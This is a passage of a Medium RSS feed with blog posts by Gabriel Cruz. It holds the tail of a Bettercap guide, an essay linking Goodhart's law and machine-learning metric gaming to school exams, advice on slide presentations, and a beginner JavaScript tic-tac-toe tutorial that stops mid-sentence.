achou algum problema ou erro, não hesite em comentar :)</p><h3>Leituras Recomendadas</h3><ul><li><a href="https://www.kalitut.com/2019/04/how-to-install-and-use-bettercap.html#point0">Outro tutorial sobre Bettercap (em inglês)</a></li><li><a href="https://pplware.sapo.pt/microsoft/windows/redes-sabe-para-que-serve-o-protocolo-arp/">Post rapidinho sobre o protocolo ARP</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=afc3ade3380a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ganeshicmc/bettercap-um-guia-para-toda-a-fam%C3%ADlia-afc3ade3380a">Bettercap: Um guia para toda a família</a> was originally published in <a href="https://medium.com/ganeshicmc">Blog do Ganesh</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Goodhart’s law, Machine Learning and why school exams don’t work]]></title>
            <link>https://gmelodie.medium.com/goodharts-law-machine-learning-and-why-school-exams-don-t-work-f3bf4d99f911?source=rss-ea856b51f1c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3bf4d99f911</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[students]]></category>
            <category><![CDATA[schools]]></category>
            <category><![CDATA[grades]]></category>
            <category><![CDATA[machine-learning]]></category>
            <dc:creator><![CDATA[Gabriel Cruz]]></dc:creator>
            <pubDate>Thu, 01 Aug 2019 21:17:28 GMT</pubDate>
            <atom:updated>2019-08-01T21:17:28.156Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mOfFxGkE0FP-eQ30xoYxlQ.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@yer_a_wizard?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Fleur</a> on</figcaption></figure><p>In kindergarden I didn’t have to study at all in order to score well in the tests. In elementary school I wasn’t able to ace tests without studying anymore, and so I started studying more or less regularly. When I got to high school I finally felt like I had to study <em>really</em> hard to keep my grades between 10 and 8 (out of 10).</p><blockquote>Do you see the problem here?</blockquote><p>The problem is that all my life I’ve been studying to get good grades — and we don’t go to school to get good grades, or at least we shouldn’t.</p><p>A couple of weeks ago me and <a href="https://brunogomescoelho.github.io/">my roommate Bruno</a> stumbled upon the topic of university exams while chatting at home. We agreed: the current (classic) evaluation system doesn’t work, that’s where Machine Learning comes in.</p><h3>Machine Learning… more or less</h3><p>The topic of school exams came up when Bruno was telling me about the problems we face in Machine Learning, a subarea of Artificial Intelligence. Mainly, we talked about <a href="https://en.wikipedia.org/wiki/Machine_learning_control">the control problem</a>.</p><h4>The control problem</h4><blockquote>In artificial intelligence (AI) and philosophy, the AI control problem is the issue of how to build a superintelligent agent that will aid its creators, and avoid inadvertently building a superintelligence that will harm its creators.</blockquote><blockquote><a href="https://en.wikipedia.org/wiki/Machine_learning_control">- Wikipedia</a></blockquote><p>More generally, the control problem appears whenever an AI behaves unexpectedly. The issue I will focus on here is more specific: how machine learning algorithms cheat metrics to obtain higher grades instead of trying to do a better work.</p><p>In Machine Learning, when you create an algorithm that learns you also have to specify some kind of metric that evaluates whether the algorithm is learning or not. For example, one metric for an algorithm that predicts daily average temperature could be how far the prediction is from the actual temperature in degrees Celsius.</p><p>This last example might seem obvious, however that’s not always the case. If our task was to choose the best path from a place to another (like Wave and Google Maps do), defining the metric becomes much harder. That’s because it’s hard to determine what is ‘better’ when talking about paths (time, gas spent, road quality, amount of tolls in the road, etc.). When we face these types of problems what we usually do is we use a <em>grading system</em>. In our example here, we weight all the variables and grade every chosen path somehow. This becomes our metric.</p><p>So, in the end, the algorithm doesn’t care about your trip. It doesn’t <em>realize</em> it’s choosing a path for you to go to work. It doesn’t have a conscience, it doesn’t <em>know </em>what it’s doing. All it does is choose the path which has the higher score according to our metric, because that’s what we told it to do.</p><p>The <strong>Control Problem</strong> appears when machine learning algorithms start ‘cheating’ in order to score higher in the metric system. In our previous route choosing example, suppose we create a button that allows the user to rate the algorithm based on how good he thinks the chosen path was — and that becomes of our new metric. What may happen is that the algorithm might look for ways to block the user from rating its choices instead of actually choosing more efficient paths.</p><h3>Grading system and Goodhart’s Law</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lEvaUMrt4kpUIDL0.jpg" /><figcaption>Goodhart’s law illustrated (<a href="https://www.sketchplanations.com/post/167369765942/goodharts-law-when-a-measure-becomes-a-target">sketchplanations</a>)</figcaption></figure><p>Grades are the metrics schools and universities generally use to evaluate how well a student has learned. The problem with this is that, as with our route choosing algorithm, once grades become the metrics we use to tell whether a someone is a good or a bad student, all the students will do is look for ways to score higher in the metrics (i.e. get better grades) — meaning that they will tend to memorize answers, cheat or do whatever else that works and stop paying attention to what really matters: their ability to consume and use knowledge.</p><h3>Fixing metrics</h3><p>How to make it impossible for students to cheat the metrics is a deep discussion in which I’ll not dive in here. However, even if we cannot completely solve the control problem, what we can do is create more accurate and sophisticated ways to evaluate the performance of school students.</p><p>First of all we got to ask ourselves: What do the grades represent? What does a 60% test score mean? Does it mean the student completely learned 6 out of 10 topics and knows nothing about the other 4 topics?</p><h4>Lowering the stakes</h4><p>If you’ve ever taken any test you know what I mean when I say that you never got to show everything you have to offer in a test.</p><p>When we get a low score on a test we may have the illusion that we don’t really know much about the topic in question, even though we in fact knew quite a bit about it. However, when we ace a test we have the opposite illusion: that we learned ‘enough’ and that there’s no need to keep studying.</p><p>We shouldn’t rely on a single test to evaluate students. Continuous evaluation through assignments and small tests makes the statistics much more reliable.</p><h4>Time-dependent statistics</h4><p>It doesn’t really matter whether we evaluate students continuously or not unless we analyze the data in a way that makes sense. Let’s say a student scored poorly on the first few tests and then began to show great improvement, but in the end the mean of his grades was low. This student showed improvement, but his grades don’t reflect this improvement.</p><p>On the other hand, a student that already knows a bit about the subject might score well in the first couple of evaluations and then, because of lack of further study, his/her grades may drop.</p><p>These two cases show how means and other time-independent statistics can mislead us to think that one is a poor (or a brilliant) student when they are actually not. Fortunately, however, we can use <a href="https://en.wikipedia.org/wiki/Time_series">Time Series</a> techniques that take into consideration how grades change over time.</p><p>For example, if we change the tests to contemplate not only the current subject being studied, but the previous one as well, we could analyze if the student has improved in comparison to the previous test. Then, what we can do with this data is to compute the differences between consecutive tests. We can calculate the mean of the consecutive improvements like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/0*eyq7yjo3Bb2bl26G.jpg" /></figure><p>Where <em>n</em> is the number of tests and <em>Ti</em> is the <em>i</em>th test (if <em>i</em> = 2, <em>T2</em>, it’s the second test).</p><p>What the above equation does is to subtract every pair of consecutive tests (i.e. <em>T2</em> and <em>T1</em>, <em>T3</em> and <em>T2</em>,…) and make a mean of the obtained values (divide by the number of tests minus 1). What we end up with is a number that says if the student was mostly able to correct his/her issues between the feedback of the first test and the second test.</p><p>There are tons of ways to use Time Series to obtain information about your data set (in this case, students’ grades), that depends on what you want to analyze.</p><h4>Detecting teaching problems</h4><p>Comparing the performance of the student to that of the class may help — when most of the class scores low on a test it is very likely there was some flaw on the teaching process. <a href="https://en.wikipedia.org/wiki/Normalization_(statistics)">Normalization</a> can be used to show how a given student scored compared to the rest of the class.</p><h3>Conclusion</h3><p>The compilation of several different types of statistics offers us much more reliable information about the development of the students. Simply using one statistic tells us very little about how a student develops and learns, we need to stop using grades based on arithmetic means and start using our brains.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3bf4d99f911" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How NOT to do slide presentations]]></title>
            <link>https://gmelodie.medium.com/how-not-to-do-slide-presentations-c782026c1a5e?source=rss-ea856b51f1c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/c782026c1a5e</guid>
            <category><![CDATA[slideshow]]></category>
            <category><![CDATA[talks]]></category>
            <category><![CDATA[powerpoint]]></category>
            <category><![CDATA[presentations]]></category>
            <dc:creator><![CDATA[Gabriel Cruz]]></dc:creator>
            <pubDate>Tue, 02 Apr 2019 12:10:32 GMT</pubDate>
            <atom:updated>2019-04-05T15:24:03.432Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1qbgDl8r0ODn8La0w7OjA.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/photos/bPT0-iqUHK8?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Jason Leung</a> on <a href="https://unsplash.com/search/photos/slide?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>I am not an expert on psychology or design but I have watched hundreds of slide presentations throughout my life and I think some things <em>need </em>to be said before is too late.</p><h3>TL;DR</h3><ol><li><strong>Think carefully before using slides.</strong><br>Is there any other tool you could use to get the job done?</li><li><strong>Keep your slides simple<br></strong>Don’t put too much information on a single slide</li><li><strong>Slides are not supposed to be text screenshots or studying material.</strong><br>Want to show text? Use text documents.</li><li><strong>End strongly</strong><br>Make sure you leave a message</li></ol><h3>Why I am writing this</h3><p>To be honest, I don’t know anyone that is more annoyed with slideshow presentations than me. Don’t get me wrong, they are great sometimes: they help to visualize data and make great impact on the crowd. But I (very) often see them being poorly used.</p><p>In my university there is a huge number of professors that use slides in their lectures, and it’s got to the point where slides are the standard go-to tools for preparing and teaching a lecture. Problem is: they are usually not the best tool for the job.</p><p>If you ever watched <strong>any</strong> TED talk, even though some are way better than others, you probably know what good slideshows (and good talks in general) look like. And if you ever watched any other presentations you probably bumped into a few that are far worse than TEDs’. The question you got to ask yourself is “why”?</p><h3>Disclaimer</h3><p>This post is 90% based on my own personal opinion and experience and 10% common knowledge. Some of what will be said is not necessarily always true — although most of it applies in most cases.</p><h3>A shitty presentation</h3><p>Let’s take a look at a lecture on, say, pooping.</p><h4>Opening</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*SbHjS71kq3hT8hBa786scQ.png" /></figure><p>The only problem that an opening slide <em>can</em> have is the title. Titles are supposed to be short and intuitive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*s6plmQSSpzUEnek-67j94w.png" /></figure><p>It’s not the best opening you will ever see, but it’s <em>simple </em>and it does the job. Putting your name on the slides doesn’t add important information to them, although this is not that big of a deal.</p><h4>Summary (???)</h4><p>I personally love summaries. They are really useful on books and other <strong>WRITTEN </strong>material when you need to find a specific content or topics. Slideshows, however, are not books — the audience can’t simply skip parts of the talk or go back whenever they want. Presentations are more like movies: you enter the room, sit and watch (and, if you are lucky, enjoy). Have you ever seen a summary at the beginning of a movie, even if it’s a documentary? That’s right.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*mOShBM5Z0YvYQh7dmMGEPA.png" /></figure><p>The question you got to ask yourself: <em>is it important for the audience to actually know the order of the topics you are going to talk about? What good does that do?</em></p><p>Although there would be an argument to be made to use summaries in order to explain what the presentation’s topics are and what it is mainly about, people are supposed to know that <em>beforehand</em>, not after they made time for it and rescheduled their important appointments to watch it.</p><p>Even if they forgot the exact list of everything you are talking about, they don’t care. They only remember that, at first, your talk seemed interesting. All a summary does here is make your talk feel like a task that you and your audience have to go through and get over with.</p><p>Here’s an example of good summary:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*p5EzK58hf6BCLOquHy6S6Q.png" /><figcaption>Yep</figcaption></figure><h4>Introduction</h4><p>I always thought of introductions as useless, purposeless things, but that is probably because I was used to seeing shitty introductions. Introductions are supposed to pose the <em>questions </em>about the problem we are presenting. What comes after is the process of trying to figure out <em>answers</em> to these questions.</p><p>Shitty introductions usually repeat what is on the summary (if there is any) and add a little bit of useless information.</p><p>You will see that I find most information useless, that is because I believe slides are not supposed to carry much information, but rather to <em>illustrate </em>what is being <em>said</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*u-IlZNAjseMin17bs_lJdw.png" /></figure><p>Another important detail I didn’t mention so far is that sections shouldn’t need to state what they are. For example, the introduction’s title shouldn’t need to be “Introduction”. It makes literally no difference to the audience which section it is, all that matters is content.</p><p>“But you said slides should have content”</p><p>Right, it should. But it shouldn’t have bullshit. The rest of the content is up to you to <em>say. </em>If what you have to say doesn’t add value to your presentation, then it shouldn’t be a presentation.</p><p>Oh, also: <strong>STOP WRITING ESSAYS ON YOUR SLIDES.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*_Qy39GAYWwP3HfFJQXBzWg.png" /></figure><h4>Topics</h4><p>Topics are supposed to be short god damn it! Don’t put everything on one slide. One of the things that annoys me the most is spending too much time in one single slide.</p><p>In other words, do not do this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FxGCFXmgtcslRDEzyvFx_w.png" /><figcaption>I made all these up, though some of it may be true</figcaption></figure><p>Here is how I would do it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XjaN2OGNq037FOgcVrb8Aw.png" /><figcaption>First, introduce the topic</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aA4TLeZ08cotadJfz0NMng.png" /><figcaption>Split topics between slides</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nYiY3375JgyPMJgb9Df-Pg.png" /><figcaption>Group closely related information</figcaption></figure><p>Don’t be afraid to make more slides if you need to, just make sure each of them contains a clear, concise message. Be careful not to mix different topics, develop one idea per slide.</p><h4>Jokes</h4><p>Making jokes is not only important, but necessary. Images are great for that, use them in incremental slides to loosen up the mood. There is no bad example here. A bad example would be not to make any jokes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kVByNy30pV8XcTPIdAneeA.gif" /></figure><h4>Ending</h4><p>End with impact. I’m not a fan of “Thank you” slides at the end of a presentation. Do say “Thank you”, but don’t spend a slide on it. Instead, leave the crowd with a power statement or a catch phrase.</p><p>Use this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*WAOnbbNOqzInPRejVpd7IA.png" /></figure><p>Instead of this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*6qXiazJ5Zbd8xzOG6JXjrw.png" /></figure><p>Thank you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c782026c1a5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Get started in web development with me —Final part: JavaScript and JS frameworks]]></title>
            <link>https://gmelodie.medium.com/get-started-in-web-development-with-me-final-part-javascript-and-js-frameworks-76e3cac733e7?source=rss-ea856b51f1c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/76e3cac733e7</guid>
            <category><![CDATA[javascript-frameworks]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[css]]></category>
            <category><![CDATA[html]]></category>
            <dc:creator><![CDATA[Gabriel Cruz]]></dc:creator>
            <pubDate>Sun, 03 Feb 2019 18:33:32 GMT</pubDate>
            <atom:updated>2020-03-09T09:10:14.048Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qu9x8uuDR3Ze_RlxzygNPw.jpeg" /></figure><h3>Get started in web development with me — Final part: JavaScript, CSS and JS frameworks</h3><p>Hi there, on part 5 we finished our voting form. We set up a database to store user votes.</p><p>Lost in the series? Here are <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-internet-web-hypertext-html-and-urls-3603830967b1">Part 1</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-protocols-servers-and-http-33c527725b74">Part 2</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-3-building-our-first-web-site-105742343fc3">Part 3</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-4-html-forms-php-and-dealing-with-problems-79c9a1c8829d">Part 4</a> and <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-5-php-intro-databases-and-sql-678328588900">Part 5</a>.</p><h3>How to start learning</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EEeiDk1zxT19PYAnktnzgw.jpeg" /></figure><p>After last post I found myself wondered what the purpose of this series was. Well, the answer I found was that its purpose, first and foremost, is to document my learning process. So I just have to find something I want to learn about and start writing.</p><p>The problem is: I didn’t know what else I wanted to learn, or rather, I didn’t know where to start. So what do we do when we don’t know where to start? We start!</p><blockquote><strong>You:</strong> This is bullshit</blockquote><blockquote><strong>Me:</strong> You’re kinda right, how in hell would one start when one doesn’t even know where to start? Well, the way I see it, “how do I start?” and “let’s start?” are only one answer appart.</blockquote><p>Suppose we both want to build our own cars, but you are a car engineer and I’m not. The difference is that, when we start building our cars, you’ll know which kind of pieces you need, and I won’t. So here’s the question you’ll be asking:</p><blockquote>Where do I find these pieces?</blockquote><p>And here’s the question I’ll be asking:</p><blockquote>Which pieces do I need?</blockquote><p>When I figure that out, I’ll find myself asking the exact same question you did when you started.</p><p>So what we need to do right now is ask ourselves what do we need to get started, but of course, first we need something we want to learn.</p><h3>JavaScript: something to learn</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hL4MWum3oyeTcZIAohgctg.jpeg" /></figure><p>I have a ton of questions about javascript:</p><blockquote>Where is it stored in a server?<br>Why JavaScript instead of PHP?<br>What are those things with <em>.js</em> in their names (<em>node.js</em>, <em>express.js</em>,…)?</blockquote><p>I also know that JavaScript is a programming language and that <a href="https://insights.stackoverflow.com/survey/2018/#most-popular-technologies">it’s very popular</a>:</p><blockquote>For the sixth year in a row, JavaScript is the most commonly used programming language.</blockquote><p>It’s been some time since we don’t actually start something from scratch, but I remember that <a href="https://en.wikipedia.org/wiki/JavaScript">Wikipedia</a> is always a good place to start from:</p><blockquote><strong>JavaScript</strong> often abbreviated as <strong>JS</strong>, is a <a href="https://en.wikipedia.org/wiki/High-level_programming_language">high-level</a>, <a href="https://en.wikipedia.org/wiki/Interpreted_language">interpreted</a> <a href="https://en.wikipedia.org/wiki/Programming_language">programming language</a> that conforms to the <a href="https://en.wikipedia.org/wiki/ECMAScript">ECMAScript</a> specification. It is a language that is also characterized as <a href="https://en.wikipedia.org/wiki/Dynamic_programming_language">dynamic</a>, <a href="https://en.wikipedia.org/wiki/Weak_typing">weakly typed</a>, <a href="https://en.wikipedia.org/wiki/Prototype-based_programming">prototype-based</a> and <a href="https://en.wikipedia.org/wiki/Multi-paradigm_programming_language">multi-paradigm</a>.</blockquote><p>Wow! Lots of concepts, let’s break them up in <strong>Appendix 1</strong>.</p><p>Okay, now that we have a minimal grasp of what JavaScript is, let’s learn how it works and how to move from PHP to JS.</p><h3>Moving (?) from PHP to JavaScript</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U24xQX_hzmg4MGc9X6a3cQ.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@cal-david-231581?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Cal David</a> from <a href="https://www.pexels.com/photo/close-up-photography-of-white-poodle-735319/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>Let’s google this:</p><blockquote>from php to javascript</blockquote><p>Not useful. How about this?</p><blockquote>javascript to substitute php</blockquote><p>Nothing. Damn it.</p><blockquote>how does javascript work</blockquote><p>Booyah! There are two results here I like, reading the <a href="https://computer.howstuffworks.com/javascript.htm">first one</a> I found this:</p><blockquote>JavaScript is what is called a Client-side Scripting Language</blockquote><p>This is some great information, while PHP runs on the server (Server-side scripting), JavaScript runs on the client’s machine! Another thing interesting is in the second paragraph:</p><blockquote>The way JavaScript works is interesting. <strong>Inside a normal Web page you place some JavaScript code</strong> (…). When the browser loads the page, the browser has a built-in interpreter that reads the JavaScript code it finds in the page and runs it.</blockquote><p>Interesting! This is identical to what we were doing with PHP: inserting code into HTML pages, the difference now is that this code is sent to the client and then ran on his/her browser.</p><p>The <a href="https://www.makeuseof.com/tag/what-is-javascript/">second result</a> goes a little deeper about how JavaScript was born and how it works with HTML and CSS (we haven’t talked about CSS yet, but I plan to do it in the future):</p><blockquote>JavaScript is used to add a dynamic component to the web page and make most elements on the page programmable.<br>(…)<br>The web browser loads a web page, parses the HTML and creates what is known as a <a href="https://www.makeuseof.com/tag/javascript-web-development-using-document-object-model/">Document Object Model</a> (DOM) from the contents. The DOM presents a live view of the web page to your JavaScript code. Your code can then make updates to the DOM and have it presented instantly to the user.</blockquote><p>Okay, so there is this DOM thing that JavaScript updates, this allows the page to be <strong>dynamic</strong>, meaning that it can change according to the users actions (hover the mouse to the top of a button makes it change collors, etc.).</p><p>They even added a section on how to insert JS on a web page:</p><blockquote>JavaScript can be directly embedded in the HTML. The following causes the web page to popup an alert box when it is loaded.</blockquote><blockquote><em>&lt;script type=&quot;text/javascript&quot;&gt;<br> alert(&quot;Page is loaded&quot;);<br>&lt;/script&gt;</em></blockquote><p>So here’s the thing about JavaScript: the page can change without the server sending another entirely new (or even a part of) page! Now let’s write some dumb examples.</p><h3>Writing some JS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bN2avMgL_SghRasqwudmnw.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@rawpixel?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">rawpixel.com</a> from <a href="https://www.pexels.com/photo/person-typing-on-typewriter-958164/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>As always, start small. How about a page which pops up a window saying “Hello World!”?</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/14b76c859ef1d12ba7a846172df3ed92/href">https://medium.com/media/14b76c859ef1d12ba7a846172df3ed92/href</a></iframe><p>It works! Sweet. Now let’s make that page hold a variable and print this variable on the pop up window:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d8ea3c0c1735a401b6ba86b37289ceb1/href">https://medium.com/media/d8ea3c0c1735a401b6ba86b37289ceb1/href</a></iframe><p>Nice. How about make the “Hello World!” window appearing just by clicking a button?</p><p>I don’t know how to make the button connect to the JavaScript, let’s look it up:</p><blockquote>get html button event javascript</blockquote><p><a href="https://www.w3schools.com/jsref/event_onclick.asp">Nice,</a> so we define a function that does what we want and assign it to the button on the HTML tag… But how do we define functions on JavaScript?</p><blockquote>function javascript</blockquote><p><a href="https://www.w3schools.com/js/js_functions.asp">Okay, good</a>. So we let’s do this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/786e78259ba3134efc4eb5dfefbb1582/href">https://medium.com/media/786e78259ba3134efc4eb5dfefbb1582/href</a></iframe><p>Sweet. What if we had a text input field and then a submit button so that our alert window shows whatever the user enters on the field? Well, we need to know how to get the data from an input tag using JavaScript:</p><blockquote>get input tag data with javascript</blockquote><p>Okay, <a href="https://stackoverflow.com/questions/11563638/how-do-i-get-the-value-of-text-input-field-using-javascript">this</a> looks like the way. But I must admit I know something I didn’t explain here before: <strong>HTML tag IDs</strong>, take a look at <strong>Appendix 2</strong> for more on that:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/18ff9901997a306d0b2a69a3817c4c68/href">https://medium.com/media/18ff9901997a306d0b2a69a3817c4c68/href</a></iframe><p>Done! To be honest I found this incredibly easy, I’m not even having fun. I’ll go grab a cup of coffee and think about something more exciting.</p><p>I’m back, let’s make a tic-tac-toe game.</p><h3>Tic-tac-toe</h3><p>Ooof, when I stop to thing about it this seems a lot harder than what we’ve done so far. So let’s, again, break it into smaller, simpler problems shall we?</p><h4>Input</h4><p>First we need a way for the user to tell us which place he’s playing, I’ll use radio buttons for this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/aab6a64ee8f54d6481d665625fa2dc33/href">https://medium.com/media/aab6a64ee8f54d6481d665625fa2dc33/href</a></iframe><p>Nice. We have a nice little board for our game. Now what we need to do is add a little bit of functionality to it. How about we make the selected buttons disappear? I have no idea on how to do this, let’s see:</p><blockquote>javascript make buttons disappear</blockquote><p>I found <a href="https://stackoverflow.com/questions/14279686/make-submit-button-disappear-when-clicked">this</a> (how did Internet exist before Stack Overflow?):</p><pre>button.style.visibility = &quot;hidden&quot;;</pre><p>I’m going to change the values on the buttons for IDs, because we’re not using forms after all so this value isn’t submitted anywhere:</p><pre>  &lt;input type=&quot;radio&quot; name=&quot;play&quot; <strong>id=&quot;11&quot;</strong>&gt;<br>  &lt;input type=&quot;radio&quot; name=&quot;play&quot; <strong>id=&quot;12&quot;</strong>&gt;<br>  &lt;input type=&quot;radio&quot; name=&quot;play&quot; <strong>id=&quot;13&quot;</strong>&gt;<br>  &lt;br&gt;<br>  &lt;input type=&quot;radio&quot; name=&quot;play&quot; <strong>id=&quot;21&quot;</strong>&gt;<br>  &lt;input type=&quot;radio&quot; name=&quot;play&quot; <strong>id=&quot;22&quot;</strong>&gt;<br>  &lt;input type=&quot;radio&quot; name=&quot;play&quot; <strong>id=&quot;23&quot;</strong>&gt;<br>  &lt;br&gt;<br>  &lt;input type=&quot;radio&quot; name=&quot;play&quot; <strong>id=&quot;31&quot;</strong>&gt;<br>  &lt;input type=&quot;radio&quot; name=&quot;play&quot; <strong>id=&quot;32&quot;</strong>&gt;<br>  &lt;input type=&quot;radio&quot; name=&quot;play&quot; <strong>id=&quot;33&quot;</strong>&gt;<br>  &lt;br&gt;</pre><p>But how do we choose the selected button using JavaScript?</p><blockquote>javascript choose selected radio button</blockquote><p><a href="https://www.dyn-web.com/tutorials/forms/radio/get-selected.php">Hmmm</a>… Looks like we’ll need to use a form after all, I’ll tag it with and ID as well so we can easily look it up:</p><pre><strong>&lt;form id=&quot;board&quot;&gt;</strong><br>...<strong><br>&lt;/form&gt;</strong></pre><p>We can now use a for loop to iterate through the list of buttons to get the one that is checked and hide it:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4924af3c9daef2a94f740dc3d3b4e341/href">https://medium.com/media/4924af3c9daef2a94f740dc3d3b4e341/href</a></iframe><p>Great! Except that it doesn’t work, dammit. I’ll solve this on <strong>Problem 1.</strong></p><p>Shit, now we’ve got another problem: the button disappears and comes back shortly after, take a look at <strong>Problem 2</strong> for the solution.</p><p>Now we need to replace a clicked button with either an <strong>X</strong> or an <strong>O</strong>:</p><blockquote>replace html tags with javascript</blockquote><p><a href="https://stackoverflow.com/questions/13389751/change-tag-using-javascript">This</a> is interesting:</p><blockquote>You can’t change the type of an element like that, instead you have to create a new element and move the contents into it. Example:</blockquote><pre>var e = document.getElementsByTagName(&#39;span&#39;)[0];</pre><pre>var d = document.createElement(&#39;div&#39;);<br>d.innerHTML = e.innerHTML;</pre><pre>e.parentNode.replaceChild(d, e);</pre><p>But I’m not satisfied with that. Let’s see:</p><blockquote>javascript replace button with text</blockquote><p><a href="https://stackoverflow.com/a/21486191/6032037">This</a> is more interesting, here’s what I’ve changed:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/93b3f36baf3f272395abb871416d2717/href">https://medium.com/media/93b3f36baf3f272395abb871416d2717/href</a></iframe><p>This makes the buttons be replaced by Xes, but now they’re not in the correct places. It seems like the div tags make HTML to break lines.</p><p>Ah, okay. I’ve been running away from this for long enough.</p><p>Let’s use <strong>CSS</strong>. Check out <strong>Appendix 3 </strong>for the solution of the current problem as well as a brief explanation on CSS.</p><h4>Turn chooser</h4><p>Now we need to be able to tell who’s playing at a given time (if it’s player <strong>X</strong> or <strong>O</strong>) so that we know what symbol is going where. I’ll use two boolean (True or False) variables: ex and oh and change their values at every play, here’s what I did with computePlay:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e5bb94b17e9cb8758cded20daead92a6/href">https://medium.com/media/e5bb94b17e9cb8758cded20daead92a6/href</a></iframe><p>If you’re wondering what are those exclamation marks doing on ex = !ex; and oh = !oh; I recommend quickly looking over <a href="https://en.wikipedia.org/wiki/Bitwise_operation">bitwise operations</a>.</p><p><strong>Question for you:</strong> why did I declare ex and oh outside of the function? Would it work otherwise? Why? Why not? Hint: take a look at <a href="https://www.w3schools.com/js/js_scope.asp">variable scopes</a>.</p><h4>Winner checker</h4><p>Finally, we need to know when a player has won and, if so, which player won. To do that we’re going to write a function gameFinished that checks if there’s a winner. gameFinished should be called every time someone plays and it returns ‘<strong>X</strong>’ or ‘<strong>O</strong>’ if any of the players won, and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a> if there’s no winner yet.</p><p>Here are the adjustments we need to do in the rest of the code:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/bfe57b97de037b4603e2f8eb06dbebe9/href">https://medium.com/media/bfe57b97de037b4603e2f8eb06dbebe9/href</a></iframe><p>I’ll put the code for gameFinished in <strong>Appendix 4</strong>.</p><p>And we’re done! Go play some tic-tac-toe, you’ve earned it.</p><blockquote><strong>You:</strong> Now that we made a bunch of stuff with JavaScript, what about those node.js, vue.js, react.js everybody talks so much about?</blockquote><h3>JavaScript Frameworks: those things everybody talks so much about</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K83C6IHQXa29U3QVDNUNPA.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@conojeghuo?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Clem Onojeghuo</a> from <a href="https://www.pexels.com/photo/low-angle-photography-of-metal-building-on-grayscale-175771/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>I know this things are called <em>frameworks, </em>but I have no idea about what frameworks do or how to use them.</p><blockquote><strong>Me:</strong> So what do we do when we know nothing about 